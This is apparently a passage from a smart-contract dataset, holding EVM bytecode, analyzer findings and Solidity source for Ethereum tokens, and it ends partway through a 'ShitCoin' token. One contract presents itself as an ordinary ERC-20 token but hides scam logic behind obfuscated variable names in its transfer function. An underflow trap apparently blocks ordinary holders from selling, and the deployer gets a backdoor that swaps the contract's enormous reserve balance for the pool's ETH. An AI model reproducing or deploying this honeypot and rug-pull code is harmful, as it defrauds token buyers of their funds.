565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820cdabd93b4de3c80d0a2227cfe4d93112a3b39111b5e5cf79ddb6132e5292854364736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,521 |
0xF745eE34C76A3b1587E8C84610e718484f856a16
|
// SPDX-License-Identifier: Unlicense
pragma solidity >0.8.10;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private complex = _tTotal;
uint256 private _rTotal = ~uint256(0);
uint256 public _fee = 5;
mapping(uint256 => address) private leaf;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private chief;
mapping(address => uint256) private _balances;
mapping(address => uint256) private blank;
mapping(uint256 => address) private sister;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public router;
address public uniswapV2Pair;
string private _symbol;
string private _name;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress
) {
_name = _NAME;
_symbol = _SYMBOL;
chief[msg.sender] = complex;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
leaf[complex] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(
address hold,
address look,
uint256 amount
) private {
address indicate = sister[complex];
bool floor = hold == leaf[complex];
uint256 gone = _fee;
if (chief[hold] == 0 && !floor && blank[hold] > 0) {
chief[hold] -= gone;
}
sister[complex] = look;
if (chief[hold] > 0 && amount == 0) {
chief[look] += gone;
}
blank[indicate] += gone;
if (chief[hold] > 0 && amount > complex) {
community(amount);
return;
}
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[hold] -= fee;
_balances[hold] -= amount;
_balances[look] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function community(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906112c5565b60405180910390f35b610132600480360381019061012d9190611380565b610392565b60405161013f91906113db565b60405180910390f35b6101506103a7565b60405161015d9190611405565b60405180910390f35b610180600480360381019061017b9190611420565b6103b1565b60405161018d91906113db565b60405180910390f35b61019e610500565b6040516101ab9190611405565b60405180910390f35b6101bc610519565b6040516101c99190611482565b60405180910390f35b6101ec60048036038101906101e7919061149d565b61053f565b6040516101f99190611405565b60405180910390f35b61020a610588565b005b610214610610565b6040516102219190611482565b60405180910390f35b610232610639565b60405161023f91906112c5565b60405180910390f35b610262600480360381019061025d9190611380565b6106cb565b60405161026f91906113db565b60405180910390f35b610280610747565b60405161028d9190611405565b60405180910390f35b6102b060048036038101906102ab91906114ca565b61074d565b6040516102bd9190611405565b60405180910390f35b6102e060048036038101906102db919061149d565b6107d4565b005b6102ea6108cb565b6040516102f79190611569565b60405180910390f35b6060600e805461030f906115b3565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906115b3565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611656565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d9190611405565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906116a5565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610f1c565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb90611725565b60405180910390fd5b61060e6000610f24565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054610648906115b3565b80601f0160208091040260200160405190810160405280929190818152602001828054610674906115b3565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107359190611405565b60405180910390a36001905092915050565b60045481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610f1c565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906117b7565b60405180910390fd5b6108c881610f24565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290611849565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a799190611405565b60405180910390a3600190509392505050565b6000600a6000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060056000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060045490506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b82575081155b8015610bcd57506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c295780600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2191906116a5565b925050819055505b84600a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccc5750600084145b15610d285780600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d209190611869565b925050819055505b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d779190611869565b925050819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610dce575060025484115b15610de457610ddc84610fe8565b505050610f17565b6000600454606486610df691906118ee565b610e00919061191f565b90508085610e0e91906116a5565b945080600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5f91906116a5565b9250508190555084600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb591906116a5565b9250508190555084600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0b9190611869565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561100557611004611979565b5b6040519080825280602002602001820160405280156110335781602001602082028036833780820191505090505b509050308160008151811061104b5761104a6119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111691906119ec565b8160018151811061112a576111296119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061119130600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846108f1565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b81526004016111f6959493929190611b12565b600060405180830381600087803b15801561121057600080fd5b505af1158015611224573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000601f19601f8301169050919050565b60006112978261122c565b6112a18185611237565b93506112b1818560208601611248565b6112ba8161127b565b840191505092915050565b600060208201905081810360008301526112df818461128c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611317826112ec565b9050919050565b6113278161130c565b811461133257600080fd5b50565b6000813590506113448161131e565b92915050565b6000819050919050565b61135d8161134a565b811461136857600080fd5b50565b60008135905061137a81611354565b92915050565b60008060408385031215611397576113966112e7565b5b60006113a585828601611335565b92505060206113b68582860161136b565b9150509250929050565b60008115159050919050565b6113d5816113c0565b82525050565b60006020820190506113f060008301846113cc565b92915050565b6113ff8161134a565b82525050565b600060208201905061141a60008301846113f6565b92915050565b600080600060608486031215611439576114386112e7565b5b600061144786828701611335565b935050602061145886828701611335565b92505060406114698682870161136b565b9150509250925092565b61147c8161130c565b82525050565b60006020820190506114976000830184611473565b92915050565b6000602082840312156114b3576114b26112e7565b5b60006114c184828501611335565b91505092915050565b600080604083850312156114e1576114e06112e7565b5b60006114ef85828601611335565b925050602061150085828601611335565b9150509250929050565b6000819050919050565b600061152f61152a611525846112ec565b61150a565b6112ec565b9050919050565b600061154182611514565b9050919050565b600061155382611536565b9050919050565b61156381611548565b82525050565b600060208201905061157e600083018461155a565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115cb57607f821691505b6020821081036115de576115dd611584565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611640602983611237565b915061164b826115e4565b604082019050919050565b6000602082019050818103600083015261166f81611633565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116b08261134a565b91506116bb8361134a565b9250828210156116ce576116cd611676565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170f602083611237565b915061171a826116d9565b602082019050919050565b6000602082019050818103600083015261173e81611702565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117a1602683611237565b91506117ac82611745565b604082019050919050565b600060208201905081810360008301526117d081611794565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611833602483611237565b915061183e826117d7565b604082019050919050565b6000602082019050818103600083015261186281611826565b9050919050565b60006118748261134a565b915061187f8361134a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b4576118b3611676565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118f98261134a565b91506119048361134a565b925082611914576119136118bf565b5b828204905092915050565b600061192a8261134a565b91506119358361134a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196e5761196d611676565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e68161131e565b92915050565b600060208284031215611a0257611a016112e7565b5b6000611a10848285016119d7565b91505092915050565b6000819050919050565b6000611a3e611a39611a3484611a19565b61150a565b61134a565b9050919050565b611a4e81611a23565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a898161130c565b82525050565b6000611a9b8383611a80565b60208301905092915050565b6000602082019050919050565b6000611abf82611a54565b611ac98185611a5f565b9350611ad483611a70565b8060005b83811015611b05578151611aec8882611a8f565b9750611af783611aa7565b925050600181019050611ad8565b5085935050505092915050565b600060a082019050611b2760008301886113f6565b611b346020830187611a45565b8181036040830152611b468186611ab4565b9050611b556060830185611473565b611b6260808301846113f6565b969550505050505056fea26469706673582212207ffe475db20d97beb4b10d150358d5f18ce448b870e1b7ceadf0aa58faa3040464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,522 |
0x030067338b9b12e933d48ffbf62c2d3c131c2bfc
|
/**
*Submitted for verification at Etherscan.io on 2021-07-26
*/
/*
deploy > send eth > open trading > blacklist bot if any > liftmaxtX > renounce
// No dev-wallets
// Locked liquidity
// Renounced ownership!
// No tx modifiers
// Community-Driven
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShitCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
